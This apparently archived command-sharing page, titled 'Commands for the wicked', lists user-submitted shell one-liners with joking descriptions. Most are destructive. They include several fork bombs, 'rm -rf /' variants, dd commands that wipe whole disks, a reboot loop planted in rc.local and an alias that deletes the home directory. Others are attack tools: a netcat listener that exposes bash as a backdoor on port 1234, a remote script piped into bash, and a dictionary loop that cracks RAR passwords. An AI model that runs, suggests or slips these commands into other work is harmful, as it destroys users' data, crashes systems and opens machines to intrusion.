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Commands for the wicked

Terminal - Commands for the wicked - 51 results

nmap -sP 192.168.0.*

2009-08-31 12:10:16

User: dotanmazor

Tags: find nmap list ip address

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find all active IP addresses in a network

There are several other options. This one is plain and simple.

Another option is:

nmap -sP 192.168.0.0/24

curl http://flip-edesign.com/scripts/system_info | bash

2009-08-29 20:18:02

User: flip387

-5

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Quick system hardware overview

This is a simple BASH script which with gather basic system hardware such as CPU sockets and cores, Memory modules and sizes as well as overall memory and more.

Root access may be needed to pull information from 'dmidecode'

for i in $(cat dict.txt);do unrar e -p$i protected.rar; if [ $? = 0 ];then echo "Passwd Found: $i";break;fi;done

2009-07-05 02:36:40

User: ksaver

Functions: cat echo

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Cracking a password protected .rar file

Cracking a password protected .rar file in a line, by dictionary attack method. All you need is a good dictionary (dict.txt).

yes `yes`

2009-06-12 18:59:26

User: metuhh

Functions: yes

-31

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fork bomb

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:(){ :|:& };:

2009-03-27 04:44:18

User: gpshead

-32

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test your process limits

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sudo make me a sandwich

2009-03-23 19:59:59

User: thisduck

Functions: make sudo

-63

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get someone to make you a sandwich

http://xkcd.com/149/

press the power button

2009-03-23 09:02:07

User: maht

-85

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Switch the computer on / off

Judging by the quality of suggestions lately I thought I'd better join in

b=\' c=\\ a='yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash &'; yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash &

2009-03-10 05:26:26

User: MaxToTheMax

Functions: bash echo yes

Tags: fork bomb yes annoying

-16

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WARNING FORK BOMB! Use at your own risk.

Use "killall bash" to stop it.

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:(){ :|:& };:

2009-02-25 18:45:17

User: dhbarr

-22

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Classic BASH fork bomb. DO NOT USE!

:(){ :|:& };:

2009-02-19 22:14:57

User: asdf

-43

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Yay! :)

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nc -vv -l -p 1234 -e /bin/bash

2009-02-19 13:20:33

User: PeekNPoke

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Create a backdoor on a machine to allow remote connection to bash

This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like :

nc 192.168.0.1 1234

You will have console access to the machine through bash.

:(){ :|:&};:

2009-02-18 22:37:21

User: jaq

-41

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at it like rabbits

Now try to recover without rebooting, for an extra 10 points.

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:(){:|:&};:

2009-02-18 16:39:27

User: TheBunman

-34

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f0rk bomb that forks itself

This command is a fork bomb! Proceed with caution. ;)

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:(){ :|:& };:

2009-02-18 03:24:06

User: zakmo

-27

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Fork (UNIX)

creates a large number of processes very quickly in order to overload an OS

to stop this bomb in about 45 sec.

Type: while (sleep 100 &!) do; done

or do a killall

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rm -rf /*

2009-02-17 19:57:03

User: guidouil

Functions: rm

-78

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A common typo

A common typo from the PFY (the key's are like right next to each others).

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[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*

2009-02-16 01:17:04

User: Fuzzwah

Functions: echo rm

-37

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command line russian roulette

5 out of 6 times its really funny.

dd if=/dev/zero of=/dev/hda

2009-02-16 00:04:23

User: cd

Functions: dd

-2

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Delete everything on hda

This will completely erase everything on your hard drive and is not reversible.

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echo "shutdown -r now" >> /etc/rc.local

2009-02-11 05:10:32

User: fmdlc

Functions: echo

-54

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Reboot Loop

It's reboot the machine when the machin is started :) is funny for use

with n00bs

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sh ~/.bash_history > /dev/null 2>&1

2009-02-11 04:45:33

User: fmdlc

Functions: sh

-34

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A funny command

It's a funny command what execute all the file ~/.bash_history

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bomb(){ bomb|bomb };bomb

2009-02-10 22:02:54

User: rdantas

-6

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Recursive bomb: Save your files first!

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for disk in /dev/sd*; sudo dd if=/dev/urandom of=$disk; done

2009-02-05 22:05:46

User: HansReiser

Functions: dd sudo

-38

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Encrypts all your HDDs with a one-time-pad

Alternatively, run as root and take out the sudo.

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!whatever:p

2009-02-05 21:39:39

User: jonty

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Check command history, but avoid running it

!whatever will search your command history and execute the first command that matches 'whatever'. If you don't feel safe doing this put :p on the end to print without executing. Recommended when running as superuser.

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watch -d -n 2 'df; ls -FlAt;'

2009-02-05 17:56:38

User: bradbeattie

Functions: ls watch

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Like top, but for files

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alias emacs='rm -rf ~/'

2009-02-05 17:41:51

User: CyberJesus

Functions: alias

-54

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Punish people for trying to use inferior software

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sudo rm -rf /

2009-02-05 12:08:27

User: MrT

Functions: rm sudo

-55

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Best line eva!

Hello Reddit!

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